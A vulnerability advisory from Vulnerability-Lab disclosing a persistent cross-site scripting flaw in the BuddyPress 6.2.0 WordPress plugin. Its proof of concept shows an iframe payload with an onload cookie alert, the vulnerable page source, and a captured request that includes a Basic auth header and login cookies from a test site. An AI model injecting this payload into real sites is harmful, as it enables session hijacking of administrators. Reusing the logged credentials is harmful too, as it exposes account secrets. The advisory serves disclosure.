WordPress Buddypress 6.2.0 Cross Site Scripting

WordPress plugin Buddypress version 6.2.0 suffers from a persistent cross site scripting vulnerability.


MD5 | 6b8cb19f133171f730bbae75605df594

Document Title:
===============
Buddypress v6.2.0 WP Plugin - Persistent Web Vulnerability


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2263


Release Date:
=============
2020-11-13


Vulnerability Laboratory ID (VL-ID):
====================================
2263


Common Vulnerability Scoring System:
====================================
4.2


Vulnerability Class:
====================
Cross Site Scripting - Persistent


Current Estimated Price:
========================
500€ - 1.000€


Product & Service Introduction:
===============================
Are you looking for modern, robust, and sophisticated social network
software? BuddyPress is a suite of components that are common
to a typical social network, and allows for great add-on features
through WordPress’s extensive plugin system. Aimed at site builders
& developers, BuddyPress is focused on ease of integration, ease of use,
and extensibility. It is deliberately powerful yet unbelievably
simple social network software, built by contributors to WordPress.

(Copy of the Homepage: https://wordpress.org/plugins/buddypress/ &
https://buddypress.org/download/ )


Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered a persistent
xss web vulnerability in the Buddypress v6.2.0 plugin for wordpress.


Affected Product(s):
====================
Buddypress
Product: Buddypress v6.0.0 - v6.2.0 (Wordpress Plugin)



Vulnerability Disclosure Timeline:
==================================
2020-11-13: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Authentication Type:
====================
Restricted Authentication (Moderator Privileges)


User Interaction:
=================
No User Interaction


Disclosure Type:
================
Independent Security Research


Technical Details & Description:
================================
A persistent input validation web vulnerability has been discovered in
the Buddypress v6.0.0 - v6.2.0 plugin for wordpress.
The vulnerability allows remote attackers to inject own malicious script
codes with persistent attack vector to compromise
browser to web-application requests from the application-side.

The persistent vulnerability is located in the `wp:html` name parameter
of the `figure` content. Remote attackers with privileges
are able to inject own malicious persistent script code as input to
compromise the internal ui of the wordpress backend. The attacker
injects his code and in case the admin or other privileged user account
previews the content the code simple executes. The request method
to inject is POST and the attack vector is located on the application-side.

Successful exploitation of the vulnerabilities results in session
hijacking, persistent phishing attacks, persistent external
redirects to malicious source and persistent manipulation of affected
application modules.

Request Method(s):
[+] POST

Vulnerable Module(s):
[+] wp:html

Vulnerable Parameter(s):
[+] figure

Affected Module(s):
[+] page_id=x&preview=true


Proof of Concept (PoC):
=======================
The persistent web vulnerability can be exploited by remote attackers
with privilged user accounts without user interaction.
For security demonstration or to reproduce the vulnerability follow the
provided information and steps below to continue.


PoC: Inject
https://test23.localhost:8000/wp-admin/post.php?post=6&action=edit


PoC: Execute
https://test23.localhost:8000/?page_id=6
https://test23.localhost:8000/?page_id=6&preview=true


PoC: Vulnerable Source
<div id="content" class="site-content">
<div class="wrap">
<div id="primary" class="content-area">
<main id="main" class="site-main" role="main">
<article id="post-6" class="post-6 page type-page status-draft hentry">
<header class="entry-header">
<h1 class="entry-title">Mitglieder</h1><span class="edit-link">
<a class="post-edit-link"
href="https://test23.localhost:8000/wp-admin/post.php?post=6&action=edit">
<span class="screen-reader-text">„Mitglieder“</span>
bearbeiten</a></span> </header><!-- .entry-header -->
<div class="entry-content">
<p></p>
<div class="wp-block-group"><div class="wp-block-group__inner-container">
<div class="wp-block-group"><div
class="wp-block-group__inner-container"></div></div>
</div></div>
<figure><iframe src="evil.source"
onload="alert(document.cookie)"></iframe></figure>
</div><!-- .entry-content -->
</article><!-- #post-6 -->
</main><!-- #main -->
</div><!-- #primary -->
</div><!-- .wrap -->
</div>


--- PoC Session Logs (POST) ---
https://test23.localhost:8000/index.php?rest_route=%2Fwp%2Fv2%2Fpages%2F6&_locale=user
Host: test23.localhost:8000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0)
Gecko/20100101 Firefox/76.0
Accept: application/json, */*;q=0.1
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://test23.localhost:8000/wp-admin/post.php?post=6&action=edit
X-WP-Nonce: 04a953e188
X-HTTP-Method-Override: PUT
Content-Type: application/json
Origin: https://test23.localhost:8000
Content-Length: 614
Authorization: Basic dGVzdGVyMjM6Y2hhb3M2NjYhISE=
Connection: keep-alive
Cookie:
g3sid=bdbf56f2335bbce0720f03ed25343b66db61b54a%7E6a5nrndvh14i5kb09tfrl7afe2;
wordpress_test_cookie=WP+Cookie+check;
wordpress_logged_in_55a3fb1cb724d159a111224c7f110400=admin_f507c7w4%7C1589912472%7CxTSn77nlwpdxYR8NUaJOXfQM9ShaBlSLzP7Anix
xNt8%7C557ca2874863d9f1f6a8316659798e11558a01ffc8671eea68d496aa5df99b17;
wp-settings-time-1=1589740723
{"id":6,"content":"<!-- wp:paragraph -->n<p></p>n<!-- /wp:paragraph
-->nn<!-- wp:group -->n<div class="wp-block-group">
<div class="wp-block-group__inner-container"><!-- wp:group -->n<div
class="wp-block-group"><div class="wp-block-group__inner-container">
<!-- wp:block {"ref":"reusable1"} /--></div></div>n<!-- /wp:group
--></div></div>n<!-- /wp:group -->nn
<!-- wp:block {"ref":"reusable1"} /-->nn<!-- wp:block
{"ref":"reusable1"} /-->nn
<!-- wp:html -->n<figure><iframe src="evil.source"
onload="alert(document.cookie)"></iframe></figure>n<!-- /wp:html
-->nn<!-- wp:bp/member /-->"}
-
POST: HTTP/1.1 200 OK
Cache-Control: no-cache, must-revalidate, max-age=0
Allow: GET, POST, PUT, PATCH, DELETE
Content-Type: application/json; charset=UTF-8
Vary: Origin
Server: Microsoft-IIS/8.5
X-Robots-Tag: noindex
Link: <https://test23.localhost:8000/index.php?rest_route=/>;
rel="https://api.w.org/"
Content-Length: 3108


References:
https://test23.localhost:8000/index.php
https://test23.localhost:8000/wp-admin/post.php


Security Risk:
==============
The security risk of the persistent input validation web vulnerability
in the web-application is estimated as medium.


Credits & Authors:
==================
Vulnerability-Lab [Research Team] -
https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without
any warranty. Vulnerability Lab disclaims all warranties,
either expressed or implied, including the warranties of merchantability
and capability for a particular purpose. Vulnerability-Lab
or its suppliers are not liable in any case of damage, including direct,
indirect, incidental, consequential loss of business profits
or special damages, even if Vulnerability-Lab or its suppliers have been
advised of the possibility of such damages. Some states do
not allow the exclusion or limitation of liability for consequential or
incidental damages so the foregoing limitation may not apply.
We do not approve or encourage anybody to break any licenses, policies,
deface websites, hack into databases or trade with stolen data.

Domains: www.vulnerability-lab.com www.vuln-lab.com
www.vulnerability-db.com
Services: magazine.vulnerability-lab.com
paste.vulnerability-db.com infosec.vulnerability-db.com
Social: twitter.com/vuln_lab facebook.com/VulnerabilityLab
youtube.com/user/vulnerability0lab
Feeds: vulnerability-lab.com/rss/rss.php
vulnerability-lab.com/rss/rss_upcoming.php
vulnerability-lab.com/rss/rss_news.php
Programs: vulnerability-lab.com/submit.php
vulnerability-lab.com/register.php
vulnerability-lab.com/list-of-bug-bounty-programs.php

Any modified copy or reproduction, including partially usages, of this
file requires authorization from Vulnerability Laboratory.
Permission to electronically redistribute this alert in its unmodified
form is granted. All other rights, including the use of other
media, are reserved by Vulnerability-Lab Research Team or its suppliers.
All pictures, texts, advisories, source code, videos and other
information on this website is trademark of vulnerability-lab team & the
specific authors or managers. To record, list, modify, use or
edit our material contact (admin@ or research@) to get a ask permission.

Copyright © 2020 | Vulnerability Laboratory - [Evolution
Security GmbH]™




--
VULNERABILITY LABORATORY - RESEARCH TEAM
SERVICE: www.vulnerability-lab.com

Related Posts